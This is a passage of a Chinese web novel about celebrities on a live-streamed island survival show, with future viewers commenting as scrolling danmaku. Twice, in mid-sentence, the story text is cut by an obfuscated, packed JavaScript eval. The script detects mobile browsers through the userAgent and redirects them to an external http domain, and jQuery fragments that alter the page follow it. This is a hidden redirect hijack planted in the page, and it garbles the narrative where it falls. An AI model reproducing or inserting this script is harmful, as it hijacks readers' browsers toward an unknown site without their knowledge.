狄马用一种看孩子般怜悯的目光看着她:“孩子,你对自己太苛刻了。” “你们演艺圈、舞蹈圈很多孩子都这样,把自己的腰弯折得很低很低,弯到忘记了天空是什么样,误以为这叫做肯吃苦、会来事。” 狄马长得并不是慈祥的类型,眉毛浓密,眼神精锐,甚至可以说是有点凶。 但是被他的眼神一看,杜小凡恍惚间忽然明白过来自己还是个未成年的孩子,眼泪情不自禁地汹涌而出。 “你已经很瘦了,孩子。”狄马说,“每个人有每个人的优势,你就是瘦到70斤,也不会瘦成瓜子脸,何必追求不属于自己的牌?打好自己手上的牌就可以。” 杜小凡的眼泪一颗颗砸在地上,像雨滴一样砸在李若水的眼前。 【我承认我之前骂狄马是个老顽固的声音大了一点。】 【不知道为什么,狄导那个眼神立刻让我想起我爸爸,好想念我爸爸啊他已经去世很多年了。】 【楼上的姐妹,抱抱你。】 【杜小凡这个妹妹不讨厌,挺让人怜爱的。】 41世纪的弹幕面对同时代的杜小凡可就没那么宽容了,寥寥几条弹幕,全是吐槽她贸然举动的。 [杜小凡真是太心机了,求机会不得还哭,这不就是在道德绑架狄导吗?] [我说她是心机婊你们还不信,现在看看,显出狐狸尾巴来了吧?明天的打投我一票也不会给她!] [楼上,我觉得没必要,杜小凡要是真那么有心机,就不会在摄像头底下跟狄导说这个话。] [粉丝少洗白行不行,看见你们就烦。] 幽幽的光照在卜思雨脸上,她差点没忍住笑出了声。 太畅快了! 同行的几个女艺人,李若水早被她打得毫无还击之力;裴婉命么,年纪大,加上本来跟她就不是一条赛道的;燕南菲是个素人,更不足挂齿。 余嘉荧只要继续保持寡言少语,她也不会主动招惹。 唯独这个杜小凡,她早看不顺眼了,年纪又小,悟性又高,演了几部角色雷同的戏出了圈,现在正想往青衣方向转型。 两个人未来说不定就会有争吃角色的时候,不如在这个真人秀里就先下手为强,找机会把她干掉,让她名声扫地,再也没有翻身的机会。 顺便把她的路人积分票全部诱导到自己身上,占据更多权重比,分更多钱,一鱼两吃,更美滋滋。 该怎么做呢…… 卜思雨翻了个身,闭上眼睛,惬意又愉悦地想着。 10. 第一天 夜深了。 摄影仪的红点虽还亮着,41世纪的实时弹幕评论已经所剩无几。 就算还挂着机,估计也是一些死忠粉为了给自家偶像直播间涨人气,实际上人早已不在手机屏幕前了。 51世纪的弹幕却精力十足,仍旧在激烈地讨论着。 【葱绿大佬,啥时候再用一次广角视听啊?李若水躺被窝里,我只能看见一片黑,太无聊了。】 李若水:……好大一口锅就让我背上了。 荒岛这么偏僻,去哪儿不是一片黑? 还不如躺被窝里。 【别急,等第三组出来我就带大家吃瓜,正好让我这道具冷却冷却,一次性不能用太久。】 【大佬花钱买的道具,想啥时候用就啥时候用,我们只管吃瓜就好了。】 李若水再次趴在地上,感受火堆噼里啪啦地燃烧着,炙热的温度烤得脸一暖。 “怎么样,暖和点了吧?” 裴婉命解下自己的围巾,给燕南菲围上。 “小姑娘爱俏,白天可以穿得少点,晚上一定要多穿,别冻着。” 燕南菲亮闪闪的眼睛看着她:“裴姐,你人真好。” “这就叫好?”裴婉命失笑,“你们啊,也就和我女儿差不多大,我看你们就像看我女儿似的。” 燕南菲把手在火堆边搓了搓,忽然问道:“世界上的妈妈,都像你一样爱自己的女儿吗?” 【这问题略有点奇怪,就像她没妈一样(不是)】 【楼上的,不止你一个人,我也感觉怪怪的。】 【也许搞心理学的就喜欢随时随地研究一些人性问题。】 裴婉命显然也被她问得一愣,不过到底是娱乐圈闯荡多年见过大场面,很快反应过来,笑道:“你这么活泼,又这么优秀,你的妈妈肯定也很爱你呀。” “我根本没有妈妈。”燕南菲低声说。 【……】 【……】 【……我勒个去,楼上真说对了。】 【今晚我是睡不着了,我非睡到一半抽自己两巴掌不可。】 裴婉命也吃了一惊。 “你没有妈妈?”她难以理解地问道,“你妈妈是去世了还是……” 说到一半,她起身说:“你等等。” 然后把两个人的摄影球挂在了树枝之间。 【好行云流水的动作。】 【有预感很快这十五个人即将全部掌握这套动作。】 【裴婉命已经是熟练工了。】 “没关系的,我不介意,现在凌晨,观众很少。”燕南菲耸耸肩,“从我出生起,我就没有见到过我妈。我爸说她不爱我,跟别的男人跑了,不知道跑哪儿去了。” “那……你从小就跟着你爸爸一起生活吗?”裴婉命小心翼翼地问。 “是的。” “但是这样你还是考上了帝国皇家大学,那是全帝国最好的大学。”裴婉命换了个角度赞扬道,“你真的很聪明。” 燕南菲看着跳动的火苗,没再继续回话。 【该说不说,裴婉命真的很会夸,有她这种妈肯定很幸福。】 【所以燕南菲自己心理有创伤她还当心理学家?】 【那她的话是不是都该存疑啊?她还说李若水心理健康,我看李若水精神状态也没好到哪去。】 李若水:……我谢谢你们。 裴婉命看了看表:“行啦,到时间了,回去睡觉吧,我去把阚炆和萧铭叫起来。” 燕南菲乖巧地点点头。 过了一会儿,身边的睡袋发出窸窣的声响,燕南菲钻了进来。 她的身体冰凉得就像块冬天的铁一样,而且还湿漉漉的,贴近的时候,冷得李若水差点惊叫出声。 搞毛线呢,她刚刚是去跳湖了吗? 这种惊愕感还没来得及消散,身体已经哧溜一下滑到了海边的坡上。 “借个火。”萧铭敞开身上的外套,对身旁的男人说。 阚炆头一歪,打火机已经燃起火苗,香烟被点燃了,火光在手指间若隐若现。 “谢谢。”萧铭客气道。 “不客气。” “小阚,你性格一点没变。”萧铭无奈道,“怎么样,拿到青羊奖提名的感觉如何?” “没有任何感觉。”阚炆淡淡道,“我没什么演技,演的全是接近我本身的角色,运气好罢了。” “那可不是,”萧铭吸了口烟,“你知不知道现在营销号都说,虽然你没拿到青羊奖,但你是无冕之王,你比我厉害,演技浑然天成,一点匠气都没有。” “师兄说笑了。”阚炆说。 萧铭突然问:“说起来我还算你师兄,你有看过我的戏吗?” “哪一部?” “粉纸鸢。”萧铭凝视着眼前的海面,“我的出道作。” “有点印象,好像影视鉴赏课老师给我们放过。” “是啊……都说演员大爆的第一部出道作角色会跟演员本身重合……” 萧铭手撑在地面上,仰起头,“我演的那个角色,也是个天之骄子,却有很多压抑之处,为了共情那个角色,我费了很大劲,被导演骂了很多次。” “摸索了很久,我终于找到了那个角色的阴暗面……你必须要找到、要想象那个角色最珍视、最珍爱的东西是什么,然后找到粉碎摧毁那个东西一瞬间的感觉。” 萧铭转头看向阚炆。 “小阚,你有最珍视、最珍爱的东西吗?” “有。” 阚炆没转头,吸了口烟。 “是什么?” 李若水屏住呼吸,听他沉默良久,慢慢地说。 “我最珍视的东西,留在我的童年。” 弹幕里的未来网友们瞬间大感无趣。 【那这很官方了。】 【很有生活了。】 【十个人有九个人都这么说。】 萧铭粉丝体量大,虽然已经凌晨三点,他的直播间里仍有粉丝坚持不睡,苦苦守候,此时听到这段对话,兴奋得像是喝醉的猹一样上蹿下跳。 [阚炆不会说的是李若水吧!] [楼上我觉得你想多了,很明显阚炆对李若水是有点情谊,但我感觉不是那种关系。] [他们应该就是曾经交好过的大学同学吧?] [说实话,也就CP粉喜欢乱猜乱磕,李若水当着全帝国的面打阚炆一巴掌,如果真是前男女朋友,谁能忍受我爱的人让我承受这种奇耻大辱?事后还给她找补面子?唯一的可能是交情甚笃的好朋友,这样才说得过去。] [我去帝国网查了一下,阚炆出身第五区,李若水出自第十三区,两个人童年根本不存在交集。] [而且阚炆家里可有钱了,一直被粉丝叫做五区少爷,李若水是出了名的草根,能有啥交集?吃瓜可以,不要张冠李戴造谣。] [他两唯一的交集就是大学时一起出演过一部话剧叫做《眼泪的猛犸象》,演得可好了,还拿了大学生影视节铜奖,我现在还经常重温,每看一遍我就哭一遍。] [应该就是随口一说鸡汤金句,别八卦了。] 李若水躺在睡袋里,睁眼看着前方黑漆漆的布料。 因为侧躺着,眼泪只能从眼角流到另一只眼睛的眼眶里。 十三区的童年是什么样的呢?贫穷?饥饿?生活是无休无止看不到希望的贫瘠。 有的人运气好,就可以离开十三区再也不回来,有的人运气差点,就扎根在十三区,成为干裂土地的养料。 离开十三区太久,她竟已想不起了。 ------------------------------------------------------ “啾啾!啾啾!” 直到被鸟叫声吵醒,李若水睡眼惺忪地睁开眼,才发现自己不知不觉睡了过去。 她居然……睡着了? 而且睡得前所未有的安稳。 “你醒啦?”燕南菲红扑扑的脸庞凑到跟前,“现在是4047年了,快起来搭营地、荒岛生存吧!你刚才做噩梦,一直在胡言乱语。” “啊?”李若水被她一番话弄得不知所措,“我说梦话了?” 她求助般地看向余嘉荧。 “别理她,”余嘉荧冷漠地说,“她就是个神棍,骗子。” [红红火火恍恍惚惚] [哈哈哈哈哈女儿毒舌起来也是很有一套的。] [把燕老师都惊到了,不过她们年纪都差不多大,确实可以一起玩。] [我女儿跟燕老师可以一起玩,就希望李若水这个暴力狂离她们远一点,我害怕我女儿被打。] [同样的二十来岁,人燕南菲是皇家大学的博士和专家,而我只是个社畜,忧伤啊。] 李若水伸了个懒腰,从睡袋里爬出来,紧绷的心情放松不少。 入目是蓝天、白云、一望无际的大海,身后是高耸的树木丛林,空气清新,就像在乡间田野度假一样。 这么一看……起床的人还真挺多。 裴婉命在睡袋上做着瑜伽的体式,深长地呼吸着;卜思雨正对着随身带的镜子补妆;阚炆和萧铭已经跑完步回来了,汗水打湿了两人的额发。 李若水看看自己,突然觉得自己好懒惰。 阚炆简直像是能读到她心声一样,路过的时候淡淡甩下一句:“怎么,是不是觉得养尊处优这么多年,已经配不上十三区独狼姐的称号了?” 李若水:“滚!” [哈哈哈哈哈哈] [笑死我了这两个人] [十三区独狼姐是什么鬼啊,哈哈哈哈哈] [和好以后就是甜甜蜜蜜哈,CP粉太幸福了。] [楼上的,你当阚粉是死人啊,老阚对好朋友、大学同学都这样,别造谣行吗?] “大家都停一停!”狄马拿起脖子上挂的哨子,用力地吹了一声,“集合一下!” 狄导作为国际大导的威望还是独一份的,他一号令,所有人立刻围拢过来听他讲话。 “现在,我们需要做以下几件事。”狄导思索着,却发现怎么也想不起来,遂转头对萧铭说,“阿铭,你来说。” [狄导年纪大了是有点老年痴呆了。] [萧铭写了满脸的,我好难,笑死我了。] 萧铭无奈地应声,说:“我们现在最要紧的是三件事……找水源、搭建营地、找食物。” “分工一下吧。” “思雨、小凡、若水,你们三个女生去树林里找水源。” “男生留四个在这里搭建营地,其他五个人去制作一些工具。” “嘉荧、裴姐、燕博士去找食物。” “怎么样,大家有意见吗?” 萧铭干脆利落地指派完了工作。 [哇哇哇我萧哥太帅了。] [不愧是我哥,天生的领导者。] [路人对萧铭要转粉了,真的好干脆,我去买兰斯啤酒,把打投积分全都给萧铭。] [对哦,今天开始积分打投了,我也要去买兰斯啤酒!] 看到这条弹幕,众人脸色一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460271|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变。 昨晚又冷又饿,加上缺觉少眠,这会儿清晨刚起,一时间十五个人脑子都没完全清醒。 全然忘记了还有打投积分这回事,白白地把第一天留下好印象的机会拱手送给了萧铭! 现在只能在接下来的小队分工合作里尽量抢镜,抢夺路人缘,尽可能拿到更多积分票! “没意见。” “没意见。” “我也没意见。” 十五个人,分成四支小队,分别朝不同的方向去了。 李若水不愿和卜思雨走在一起,一个人打头走得飞快。 卜思雨对着摄影球,指了指前面的李若水,一副难过的样子。 “若水姐估计是还生我气呢,”她惆怅地说,“我能理解,希望一个多月的荒岛相处,能让她放下对我的成见,握手言和吧。” [受不了李若水了,她凭什么甩脸子啊,思雨才是受害者。] [霸凌者一般就是这样的。] [可惜打投票没有负分,不然我给李若水买一百个负分。] “没关系,大家,我不孤独的,”卜思雨对着镜头竖起大拇指,抿嘴微笑,“这不是还有小凡吗?小凡正好陪我一起慢悠悠走,两个人找水源也许比若水姐更快。” 杜小凡被她搂进镜头,想走也走不掉,只能对着镜头尴尬地笑了笑。 [思凡yyds!] [姐姐妹妹真的太美好啦!] 李若水才不管卜思雨在背后如何摆弄舆论。 她现在只有一个目标——找到水源! 找不到水源,大家都得死。 虽然迄今为止,她也不知道这些人到底是因环境恶劣无法生存而死,还是被人蓄意谋杀而死,但是总归多一点寄托,就多一点生存希望。 她看向上方的弹幕。 葱绿色弹幕估计是用了一整晚道具太累了,一直没再出现。 其他弹幕虽然说了一些荒野求生的小技巧,但要是实践的话,还是派不上什么用场。 怎么办,怎么办? 李若水正发愁着,忽然见上方一群光芒黯淡的弹幕中,飘过了一条金光闪闪的弹幕。 【我嘞个去!金色大佬啊!】 【大佬日理万机,居然有空降临直播间。】 金色弹幕打出一句话。 【现在进度到哪了?】 【现在是荒岛的第一天,她们正在找水源食物和搭营地。】 【大佬,昨晚葱绿大佬给我们开了个广角视听道具,可爽了,你也整一个呗。】 【对,道具那么多,弄两个玩玩,不然多没劲啊。】 【你们看看有什么道具可以用,我买。】 金色弹幕言简意赅地说。 我嘞个去,富豪啊!李若水心跳加速。 老天保佑,一定要是跟水源和食物有关的一定要是跟水源和食物有关的……她双手合十,暗自祈祷。 实在不行搭营地有关的也行啊! 【我买好了。】 两分钟以后,金色弹幕飘过。 “叮——宿主您好,直播间有您的粉丝购买‘寻找奇妙的水源和一切能食用的食物吧’视觉道具,已为您开放观赏权限。” 眼前一闪,仿佛角膜被插上了滤镜一样,所能看到的景色在李若水面前瞬间变幻了颜色。 树木变成了深红色,树叶变成了浅红色,土地是红得发黑的颜色。 她的眼睛变成了一台红外扫描仪。 有救了! 李若水大喜过望,立刻伸着脖子东张西望,恨不得马上飞起来,把这整片树林都扫描一遍。 [李若水干嘛呢?东张西望的。] [小丑,我看她能找到个啥玩意。] [单打独斗没有好下场。] [楼上,你忘了人家是十三区独狼姐吗?哈哈哈哈哈。] [笑死我了,她这一看就是外行啊,哪有找水源光用眼睛看的,她是神吗一铁锹下去就能铲到水?她要是能铲到,我把我脑壳给她铲。] 在弹幕的议论声中,李若水越跑越快,几乎用跑八百米的速度在树林里飞快地小跑着。 终于,她在一棵粗壮的大树前停下。 “就是这里了!”李若水弯下腰喘着气,欣喜地盯着盘绕的树根处,深深浅浅的红色里一小汪跳动的浅蓝色。 水源,就在这里! 李若水举起铁锹。 一铁锹下去—— “啪!” 铲子仿佛铲破了一层硬壳,一瞬间,从地底喷出一小汪清澈的泉水! 有了! 李若水单膝跪在地上,接了一小捧水在手心,舔了一口。 还行,能喝。 她如释重负地松了口气。 41世纪的弹幕已经疯了。 [卧槽……] [神他妈一铲子下去铲到水!] [我真服了,这是史上最快找到水源的荒岛求生嘉宾吧?] [刚刚那个说脑壳给她铲的仁兄呢?哪去了?] [我在这,我脑壳已经不在了,谢谢。] [谁看了不高呼一句李若水66666?] [十三区独狼姐永远的神!] 荒岛边缘的海岸上,因为新的弹幕持续发出震动,搭建营地的小队暂停了手中的活,掏出手机打开了直播间。 这一看,所有人都惊呆了。 李若水找到水源了? 五分钟不到……找到水源? 她是人吗? 她怎么做到的? 11. 失踪 树林的另一侧,卜思雨正举着手机走走停停。 刚上岸的时候网络信号还十分良好,随着往树林深处走去,走得越远,信号越差,弹幕也开始卡顿。 [李若水干嘛呢?东张西望的。] [小丑,我看她能找到个啥玩意。] 卜思雨看了眼正疯狂嘲笑李若水的弹幕,嘴角以极其微小的弧度轻蔑地提了提,随即又变成一个清浅的梨涡浅笑。 “大家,我现在和小凡走到树林更深的地方了,”卜思雨挥动手臂,对着小黑球示意。 手机屏幕上的画面卡住了,只有静悄悄的树林,以及前方一角鹅黄色的身影。 “你们能看得到吗?这边信号似乎不太好。”她抱歉地说,“可能要卡一会儿了。” 见弹幕毫无反应,她左右望了望,迅速地伸手,一把将两个摄影仪捏入手心。 “小凡!”卜思雨朝那抹鹅黄色身影喊道。 “怎么了思雨姐?”杜小凡疑惑地回过身。 “我刚刚好像看到物资了,”卜思雨指了指树林更茂密的密集处,“就在那里,泥土里好像埋着一角黄色……应该是节目组埋的救生物资吧?” “真的吗?”杜小凡双眼一亮,“那我们赶快过去,拿了物资,大家就有水喝、有东西吃了!” 卜思雨迟疑道:“小凡,不然你先去,我肚子有点痛,想在这里……” 她指了指脚下的泥土。 杜小凡立刻反应过来。 “没问题,思雨姐,那我先过去,你在这里朝我那边走,找到物资之后我们会合。” “嗯嗯。”卜思雨点点头。 杜小凡便深一脚、浅一脚地朝树林中心走去。 走着走着,脚下的泥土逐渐深陷,把鞋子拔出来的动作变得困难,白雾在周身笼罩,缓缓汇聚如烟。 越往前走,白雾越来越浓,杜小凡凝望着那些高耸入云的树木,有些不敢再继续往前走了。 可是…… 她想起狄马昨晚说的,“我需要有侠气的主角”。 从小到大,她几乎是在吹捧声中长大的。 幼儿园时期父母带她出门,就会有路人停起来给她拍照,夸她长得真漂亮,像个洋娃娃。 上了小学之后,从四年级开始,就有星探挖她去做模特,拍了无数电视剧里的童年角色。高年级的学长给她送情书,放学路上跟在她身后的单车更是不知凡几。 后来更是一路高歌,从第八区考进位于第一区的帝国电影学院。 人还没入学,已经拍了大爆电视剧《达摩诀》,开始在娱乐圈崭露头角,整个第八区都以她为骄傲。 但是,进了娱乐圈,却并没有她所想的那么快乐。 需要不断赴约的酒局、不断奉承的投资商,她明明还没有成年,却没有人把她当小孩看待。明明大脑还没发育健全,三观还没塑造成熟,却已经被迫成为一个大人。 经纪人时常唉声叹气,说她做得并不好,还需要很多历练。 这已经让她举步维艰。 随之而来的还有更多打击,连引以为傲的美貌也开始贬值。 杜小凡无疑是美的,可是美有很多种。 在时尚圈和电影圈,这种明艳、浓烈、直晃晃写下的美并不受青睐。 “毫无韵味,跟角色的气质哪有半点贴合?” 试剧时,一位导演眯着眼睛把她从头到脚打量一遍,转头对旁边的副导演说,“这就是你大力推荐的人?” “不行,她不行。”对方跷着腿,笔在手里转来转去,“太庸俗了。” 那一天是阴天,片场很大,工作人员也很忙。 明明没有人在看她,她却觉得脸上被太阳晒得火辣辣,目光像蜜蜂一样蛰着侧脸。 回去以后,她脱光了衣服,站在浴室的镜子前,不断审视自己。 自己的骨架是如此壮硕,腮边的婴儿肥如此多余,笑起来腻得像过时的奶油蛋糕一样糊嗓子。 心中的天秤忽然由自信转向自卑。 除此之外,空无一物的大脑也令她惶恐。 她没什么品味,只喜欢看爆米花电影,喜欢听耳熟能详的大众情歌,说不出让人耳目一新的观点。 就连寒暄时的迎来送往,说出口都是普普通通的词。 虽然狄导没有明说,但她明白“我需要一个有侠气、骨相美的女演员”那句话其中未尽的含义。 她知道,狄导只是仁慈,只是体面。 杜小凡看着树木后凝聚的白雾。 如果…… 如果她能成为第一个找到求生物资的人…… 如果她能单枪匹马找到物资,从树林里走出来…… 是不是就能证明几分自己的价值和勇气,证明自己不是别人眼中胸大无脑的洋娃娃? 是不是就能让狄导对她刮目相看? 想着想着,她痴痴地抬脚,走进了丛林深处。 ------------------------------------------------------ 51世纪的未来网友也被李若水下铲的准头惊呆了。 【卧槽,李若水怎么做到的?】 【太牛了吧?她下铲的地方正好就在水源那里!】 【我们开了大佬的视觉道具才能勉强找到,树林那么大,她怎么做到的?】 【我感觉我对李若水的欣赏又加深了。】 看着这些未来网友对她吹出的彩虹屁,李若水忍俊不禁。 她用未来网友的喜爱度拿到道具权限,给自己开金手指,再通过拥有金手指的表现增加未来网友的喜爱度。 好大一个闭环啊! 【这水还不够。】 久违的墨绿色弹幕飘了出来。 【还得继续挖,挖出更多,不然他们十五个人不够用。】 弹幕沸腾了。 【墨绿大佬,好久不见你,去哪儿了?】 【是不是又去徒步了?】 【还行吧,去了一趟特赛淘海国,进阶了一下海上逃生技巧。】 墨绿色弹幕高傲地说。 弹幕又是满屏的大拇指。 李若水沉思半晌,终于想起来这个墨绿弹幕是出发前提醒自己带照明灯和打火机的人,貌似是个野生户外大佬。 既然是大佬么…… 听他的,准没错! 李若水信心十足,继续挥舞着铲子吭哧吭哧地挖起来,直到坑洞越来越深,水渗出了一小洼,她才放下铲子。 抬起头,又见墨绿色弹幕发言。 【这水太混浊了,还得沉淀,利用细沙把水过滤成干净的水,才算达到能饮用的程度。】 【切记切记,一定要烧开了,把水里的细菌和微生物都杀死,才能饮用。】 等等,烧开了才能喝? 李若水目光呆滞。 那我喝过的那一口算什么? 算我喝过了? 淦! 铲了这么半天,李若水也累了,随手把摄像头往树上一挂,便靠着树根席地而坐,掀开短袖下方大力扇起风来。 她才不想随时随地被全球监视。 本来41世纪的网友对她也没什么好屁放,不让他们看到她粗鲁的行径,也是为了网友的眼睛好。 李若水拿出手机,准备看看弹幕上有没有有效信息。 刚打开直播软件,就看到有人在弹幕里哭。 [谁能救救我们小凡啊!] [小凡的直播间已经黑掉一个多小时了,不知道怎么回事,我担心她有危险。] [楼上粉丝,你别哭了,男生们都在造工具和建营地,女生们在找食物和水,等他们腾出空来,应该就会看手机的。] [我怎么能不急啊,从她们进树林深处之后,就没人再知道发生了什么,求求谁,求求你们谁去救救我们小凡啊。] [杜小凡不是和卜思雨在一起吗?] [卜思雨的摄像头恢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460272|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复正常了,她说她和杜小凡本来准备去找物资,她肚子疼就慢了一步。] [现在的情况是,杜小凡先进了荒林深处,卜思雨去找杜小凡没有找到,树林里迷障又很重,卜思雨不敢再深入了,现在正在往营地那边去,想让男生们一起来帮忙。] [卜思雨思路很清晰啊,有这种伙伴真的很靠谱。] [靠谱个锤子,要不是她,杜小凡能单独进树林?] [那也不能怪卜思雨吧,人家确实肚子疼,也尽全力在帮忙了。] 杜小凡失踪了? 李若水面色凝重地看着手机。 她只知道死了十一个人,却并不知道第一个死者是谁。 杜小凡不会就是在这个时候死的吧? 难道她就是第一个死者吗? 想到这里,李若水立刻站起身。 【李若水这是要干嘛?】 未来的网友们发出疑问。 【好像在找什么东西。】 【她该不会要去救杜小凡吧,不要啊!我求她搞搞清楚她自己几斤几两。】 【神经,她会啥啊?别把自己搭进去了,这时光器直播间可贵了,她要是gg,我钱也白花了。】 【前面的你就知道钱钱钱!我现在对李若水已经有感情了,我很担心她的安危。】 李若水低着头在两旁寻找,踢开一棵大树下的枯叶碎枝,终于找到了她要的东西。 一根结实的、长长的树枝。 李若水从裤子口袋里掏出那把军用小刀,利索地将树枝握在手里,三下五除二就把树枝的尾端削成了尖刺。 “成了。” 李若水掂了掂树枝,拿在手里很有分量,也很趁手,她很满意。 没有武器,就要学会因地制宜,就地取材制造武器。 她取下树上的摄影球,往前大迈一步,背对着空气挥了挥手。 “走了。” - “现在走吗?” 闫文清有些不甘愿,“好不容易搭好的帐篷,还没固定呢。” “待会风刮起来,没人看着,要是被风吹跑了怎么办?” “走吧。”萧铭的表情颇有几分责备,“营地可以晚点搭,要是出了人命可就麻烦了。” 说罢转头看向正在抹眼泪的卜思雨:“思雨,你来带路。” “嗯。”卜思雨用力点点头,话语中仍带着哭音,“都怪我,如果不是我肚子疼,小凡也不会在树林里失踪。” “好了,谁也不想这样,这不怪你。” 贾高逸怜惜地拍了拍她的肩膀。 [心疼我思雨宝贝。] [思雨宝贝别哭了,跟你有什么关系啊,是杜小凡自己逞能。] [女生就是麻烦,树林深处多危险心里没数吗?一个人钻进去不是给大家添麻烦吗?] [如果杜小凡死了,我一点也不会觉得伤心,她就是自己作的。] [都闭嘴!你们还有没有点人性?如果小凡死了,你们这些发言的人我一个也不会放过!ID我都记下来了,我死也要拉着你们一起死!] [杜小凡的粉丝都这么可怕吗?你担死了就要报复社会吗?你来啊,略略略。] 陈英喆看着这些弹幕,表情沉重地挪动着脚步。 生命的逝去,对除了亲友以外的人毫无意义,即使是万众瞩目的明星,也不过如此。 如果杜小凡真的死了,现在这些争论不休的人,很快就会将她忘记吧? 突然,他面色一变。 “等等,”他说,“好像有人去救援了。” 所有人的脚步都停下了。 连卜思雨都愣愣地忘记了哭泣。 他们所在的不远处就是那片层层叠叠的树林,密密麻麻的枝叶连接成网,遮天蔽日,看不见一丝光亮。 甚至不用接近,就能嗅到其间腐朽阴暗的气息。 这样的孤岛树林…… 有人去救援吗? 谁啊? 12. 危险边缘 越往树林深处走,迷障越深。 白雾四起,鼻间涌入一股甜腻的香气,像童年时候吃的话梅糖,放了劣质的糖精,吃起来甜大过酸,甜得很假。 第十一区的区钢铁厂,厂长家的亲戚是这种话梅糖的代理商,于是每逢年底糖果滞销,就会拿来给工人们发福利。 杜小凡从小就嘴馋,用老话说就是“干辣椒拌饭也能吃两大碗”,第一次吃到这种糖的时候,她喜欢极了。 父母也宠着她,不拘泥她吃零食。家里的桌子上摆满了这种糖,天天吃,天天吃,吃了一段时间,胃里都开始泛酸水。后来搬到第一区,她连话梅味的饮料都不愿意再喝。 嗅着这股香气,杜小凡靠在树干上,既觉得疲惫,眉间又涌起一阵麻酥酥的感觉,仿佛这辈子从来没这么快乐过。 即使拿到那个试镜机会,也没有这么快乐过。 …… 试镜失败之后,经纪人打电话给导演,那通电话打了很久。 挂断电话后,她把杜小凡的脸摸了一遍,摸到两腮的时候,说:“哦,这里是肉呀,我还以为是骨头呢!” “是肉,那就好减。”杜小凡看着她露出如释重负的表情,“减个20斤就好了。” “要是削骨的话,还得给你想借口怎么消失一段时间,还得解释你脸型的变化。” 每天三餐只喝水,饿了就吃半粒酱,还要做有氧运动,夜晚躺在床上时忍受着烧灼的饥饿感。 短短一个月,她就瘦下来20斤。 眉骨下的眼眶深深地凹陷进去,脸颊的轮廓变得更加清晰分明,眼睛更大了,鼻梁更笔挺……她变得更轻薄,更幼态,更纤细。 那一刻,杜小凡对着镜子里的自己,感到深深的欣喜——之前所有受过的苦,全都值得。 副导演组了个饭局,导演再见到她的时候,果然很高兴:“哎呀,真听话!你看这一瘦下来,壮实感立刻没有了,那种易折感、脆弱感也出来了,跟小时候一模一样。” 小时候? 杜小凡很惊讶:“您见过我小时候?” “是啊,你小时候参加过星星孩子的试镜,那个时候我就觉得你很有潜力,看到你名字的时候,我还想这孩子的名字真好记,朗朗上口的……杜小凡,杜小凡,多好念!” …… “杜小凡!” “杜小凡!” 有人在叫她的名字。 别叫我,杜小凡迷迷糊糊地想,无论怎么努力,眼睛都睁不开。 别叫我,我太累了,我想睡觉。 “杜小凡!” 那个声音还在叫,而且还更大声了,由小变大,由远到近,吵得杜小凡头痛。 她使劲抬着眼皮,两眼之间终于撑开了一条缝,光亮一瞬间涌进视野。 只是这一看之下,吓得她立刻大声惨叫起来。 “啊啊啊啊啊啊啊啊!!!” 两只黄色呈竖瞳的眼睛,正盯着她的眉心,长满黑色鳞片的软骨身体像长绳一样盘绕在地上,正嘶嘶地对她吐着信子。 是一条蛇。 杜小凡吓得浑身瘫软,双手撑在地上,动也不敢动。 她生怕做出动作就会激发这条蛇的攻击性。 僵持间,前方传来靴子踩碎枯叶的声音,深色的树干间隙处闪过一抹迷彩色。 她认得这颜色的主人,游艇上她曾疑惑过,为什么这种全球直播节目,会有人如此朴素就出现在公众面前。 她对李若水,谈不上疏远,但也谈不上亲热。面带三分笑,说话时刻小心,生怕被对方像狗皮膏药一样黏上炒作。 李若水是公认在走下坡路的艺人,化妆间暴力事件监控录像和旁观者口供都有,是铁板钉钉的丑闻。杜小凡是正在爬上坡路的艺人,半山腰近在眼前。 两个方向截然相反的人,即使表面一团和气,也注定不会深交。 但她此刻由衷感激这个人的出现,无论这个出现是什么缘故,都意味着一线生机。 “杜小凡!”李若水叫着她的名字。 “杜小凡,你在哪?!” 原来她竟然是特意来找自己的。杜小凡一片空白的大脑里闪过这个念头。 “我在这!”杜小凡脱口而出。 就在她喊出这句话的一瞬间,蛇像被触发了开关一样猛烈地行动起来,上半身抬高,瞳孔变成针尖状,眼看立刻就要扑向杜小凡! 腥臭味扑鼻而来,杜小凡下意识紧闭双眼,这一刻她心里想着,被蛇咬是会立刻死还是慢慢死?会有多痛苦?会不会毁容? 想叫,却连张开嘴唇的力气也没有。 “咻!” 身旁有什么东西飞过,几乎是擦着衣服的布料飞过去的。杜小凡只觉得半边身子一麻,下意识往另一侧缩了缩身体。 想象中的撕咬和疼痛都没有发生,她眨了眨眼,转头一看,顿时鸡皮疙瘩起了一身。 一支尖头的木箭把蛇钉在地上,木箭的头已经深深地穿透了蛇身! 蛇不断地挣扎扭动着,动作越来越迟钝,然后,再也不动了。 李若水从前方的树后缓缓地走了出来。走到不再动弹的蛇身旁,用脚尖挑了挑蛇的尸体。 “死透了。” 身后的摄影球亮着红点,显示拍摄正在进行中。 [我草草草草草!] [家人们谁懂啊,此时我的心情只能用震撼来形容!] [啊啊啊啊啊草啊我的心情就是对着天空呐喊一百句李若水你太牛叉了怎么会有这么牛叉的人我真的是服了服了!] [我姐下了夜班在补觉,我刚刚从被子里钻出来握拳一声大叫,直接把我姐吵醒,我姐把我暴打一顿qwq] [楼上的,我很懂你姐的心情,但是李若水真的太绝了!这他爹的什么当代侠女!] 